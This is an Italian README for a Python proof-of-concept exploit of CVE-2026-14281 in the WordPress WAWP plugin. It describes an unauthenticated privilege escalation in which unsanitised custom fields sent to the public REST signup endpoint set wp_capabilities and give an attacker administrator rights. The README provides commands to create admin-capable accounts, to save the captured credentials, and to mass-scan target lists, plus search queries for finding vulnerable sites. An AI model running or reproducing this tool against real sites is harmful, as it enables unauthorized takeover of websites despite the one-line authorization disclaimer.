
Escalatione di privilegi non autenticato in WordPress WAWP (Automation Web Platform) ≤ 4.8.6 tramite registrazione REST pubblica e wawp_custom_fields non sanificati → admin. PoC Python di verifica/exploit (PoCbit).
PoC in Python 3 per CVE-2026-14281 nel plugin WordPress Automation Web Platform (automation-web-platform — WAWP / Notifications & OTP for WooCommerce).
Elencato su PoCbit — catalogo della community: https://pocbit.org/pocs/
L'esecuzione del PoC stampa un'intestazione PoCbit; le righe JSONL includono pocbit, pocbit_catalog e pocbit_page.
| Piattaforma | Plugin WordPress |
| Componente | Automation Web Platform (WAWP) |
| Affetto | ≤ 4.8.6 |
| Corretto in | > 4.8.6 (aggiornare all'ultima versione stabile) |
| CVSS 3.1 | 9.8 Critico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticazione | Non autenticato |
| Vettore | REST pubblico POST /wp-json/wawp/v1/signup/signup |
Il gestore REST di registrazione (public_permissions_check) accetta wawp_custom_fields, lo mappa su custom_fields_data e, dopo wp_insert_user(), scrive ogni chiave con update_user_meta() senza una allowlist. Gli attaccanti possono impostare wp_capabilities e wp_user_level per ottenere i privilegi di amministratore.
Codice rilevante (4.8.6): includes/api/class-wawp-rest-settings-api.php (/signup/(?P<op>…)), includes/auth-services/class-wawp-otp-service.php (wawp_custom_fields → custom_fields_data), includes/auth-services/class-wawp-signup.php (finish_registration_logic).
Quando l'OTP di registrazione è abilitato, la prima chiamata a signup può fermarsi a otp_verify (challenge inviata) e la registrazione termina solo dopo l'OTP — la catena completa di admin non autenticato potrebbe richiedere l'OTP disabilitato o un bypass OTP separato. In tal caso il PoC segnala otp_required.
pip install -r requirements.txt
Python 3.8+.
# Version + REST surface + optional live signup probe (creates a throwaway user if OTP off)
python poc.py -u https://target.example --mode check
# Register admin-capable user (authorized targets only)
python poc.py -u https://target.example --mode exploit --verify
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 20 --quiet
# JSON to stdout (single target)
python poc.py -u https://target.example --mode check 2>nul
| File | Significato |
|---|---|
cve_2026_14281_results.jsonl | JSON completo per target |
hits.txt | Host candidati (check) o url|email|password (exploit) |
candidates.jsonl | Riepilogo della modalità check |
body="/wp-content/plugins/automation-web-platform/"
body="/wp-json/wawp/"
Utilizzare solo su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione al test.
| Stato | Significato |
|---|
exploit_confirmed_probe | Probe di registrazione completata (OTP off); percorso di iniezione meta attivo |
vulnerable_otp_blocks_signup | Plugin/versione + REST OK; lo step OTP blocca la registrazione one-shot |
vulnerable_rest_signup | Versione vulnerabile; REST raggiungibile (probe inconcludente) |
patched | Versione > 4.8.6 |
no_plugin | Plugin non rilevato |